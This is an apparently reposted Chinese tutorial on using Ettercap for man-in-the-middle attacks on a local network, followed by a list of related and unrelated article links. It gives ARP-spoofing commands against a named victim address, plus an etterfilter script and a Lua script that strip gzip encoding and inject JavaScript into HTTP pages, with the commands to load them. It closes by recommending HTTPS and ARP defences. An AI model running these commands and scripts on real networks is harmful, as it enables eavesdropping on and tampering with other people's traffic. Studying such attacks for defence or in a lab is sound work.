使用Ettercap filter进行流量监听和数据篡改
来源:互联网 发布:二六三网络通信 编辑:程序博客网 时间:2024/06/04 18:09
简介
Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点。
安装ettercap
ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式。
通过Homebrew安装
这种安装方式较为简单,但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装。
brew install ettercap
通过源码安装
源码安装需要较多的依赖库,具体依赖可以在Ettercap文档中查看,如果是Ubuntu平台,使用apt-get即可安装所有依赖,如果是macOS平台,可以使用Homebrew安装大部分缺失的依赖,如果Homebrew上没有,可以尝试使用gem,笔者使用Homebrew和gem完成了所有依赖库的安装。
1.首先将ettercap源码clone到本地,然后编辑CMakeLists.txt,将第16行的
option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)
置为ON,如果只是使用文本模式,可以将ENABLE_CURSES和ENABLE_GTK置为OFF。
2.按照文档建立并进入builid目录,执行如下命令。
cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib
3.如果第二步中有提示某个库not found,先安装对应的库,然后先执行make clean-all,再重新执行2中的命令,如果只有memrchr提示缺少,则可以忽略,经测试不会影响ettercap的运行。
如果没有上述问题,执行如下命令完成安装。
sudo make install
4.完成安装后,可以使用which ettercap
查看安装位置,默认来说,ettercap的相关工具在/usr/local/bin/
,配置文件在/etc/ettercap
,运行时执行的Lua脚本在/usr/local/share/ettercap/lua/
。
使用ettercap进行中间人攻击
流量监听
通过ARP欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设192.168.0.1是网关,而192.168.0.119为受害者,执行下面的命令即可进行监听。
sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
其中-T代表文本模式,-q为安静模式(不在控制台输出监听的数据),-M为中间人攻击,-w指定的是存储到磁盘的网络数据包,可以使用Charles或Wireshark等工具进行分析。其中ip地址的格式,根据编译源码时CMakeList中指定的是否支持IPv6,分别为MAC/IP/IPv6/PORT
或MAC/IP/PORT
格式。
当受害者浏览网页时,网络报文会被记录在network.pcap中,按下空格会退出安静模式,将报文同时打印到控制台。
数据篡改
使用etterfilter
1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。
# 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2"); msg("change encoding"); }}# 对于服务器响应,向head中注入jsif (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "<head>")) { replace("<head>", "<head><script>alert('js inject')</script>"); msg("inject head"); }}
这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。
2.使用etterfilter将filter文件编译成ef文件
etterfilter ig.filter -o ig.ef
3.在监听数据的同时加载过滤器
sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如http://m.ctrip.com,如果成功会看到网页弹窗。
使用Lua脚本描述过滤器
使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。
使用Lua实现上述功能的代码如下。
description = "Inject JS using Lua.";local hooks = require("hook_points");local packet = require("packet");inject = "<script>alert('Inject JS using Lua.')</script>";hook_point = hooks.filter;packet_rule = function(packet_object) return (packet_object:is_tcp() and packet_object:has_data() and (packet_object:dst_port() == 80 or packet_object:src_port() == 80));endaction = function(packet_object) p = packet_object; data = p:read_data(); if string.find(data, "Accept.Encoding:") then s,e = string.find(data, "Accept.Encoding:.-\n") newdata = string.gsub(data, "Accept.Encoding:.-\n", "Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n") packet.set_data(p, newdata) -- ettercap.log("Changing Encoding"); return end body = string.upper(data); if (string.find(body, '<HEAD>')) then s,e = string.find(body, '<TITLE>.-</TITLE>'); if s then title = string.sub(data, s, e); s,e = string.find(body, '<TITLE>.-</TITLE>'); if not s or not e then return; end len = e - s; idata = "<title>" .. description .. "</title>" .. inject .. "\n"; print(idata); newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1); -- ettercap.log("Updating string"); packet.set_data(p, newstr); end endend
ettercap中的lua API可以在/usr/local/share/ettercap/lua
中查看,在网络监听时加载Lua脚本的命令如下。
sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//
总结
本文主要介绍了使用ettercap监听和篡改HTTP流量的方法,可以看到在强大的工具面前,HTTP流量是不堪一击的。因此普及HTTPS对于保护数据安全即为重要,除此之外,CISCO等高端路由器默认对ARP欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于HTTPS的数据监听,我们有两种思路,一种是降级为HTTP,这种方式易被察觉;另一种是使用SSLStrip等工具进行会话劫持。
参考资料
- 灰帽黑客(第4版)
- https://github.com/Ettercap/ettercap
- 使用Ettercap filter进行流量监听和数据篡改
- 使用ettercap 进行ARP欺骗和DNS欺骗
- 使用ettercap进行dns欺骗
- MySQL数据库遭到攻击篡改---使用备份和binlog进行数据恢复
- easy ettercap filter
- SSL Ettercap Filter
- 【Kali】利用Ettercap进行ARP欺骗和中间人攻击
- ettercap进行简单的arp欺骗和中间人攻击
- Ettercap : Filter规则大发送
- Filter的使用(对请求和响应数据进行替换)
- 使用百度统计对网站进行流量分析和统计
- 使用tcpcopy导入线上流量进行功能和压力测试
- Ettercap 安装与使用
- 利用sslstrip和ettercap
- PHP中使用Filter进行数据安全过滤
- PHP中使用Filter进行数据安全过滤
- 使用PHP自带的filter函数进行数据校验
- ettercap进行arp欺骗攻击
- Search a 2D Matrix
- CSU1023-修路-二分
- Seafile 个人网盘配置安装
- CSU1065-Scientific Conference-贪心
- 6174问题
- 使用Ettercap filter进行流量监听和数据篡改
- CSU1086-超市购物-分组背包
- CSU1090-Number Transformation-BFS
- VMware虚拟机磁盘操作占用过高问题
- Python语言里的method auto bind与JavaScript ES5显式function.bind语法
- CSU1093-Caps Lock-模拟
- 使用python实现用微信远程控制电脑
- delphi xe 之路(14)使用FireMonkeyStyle
- [翻译]Django1.11 Writing your first Django app, part 1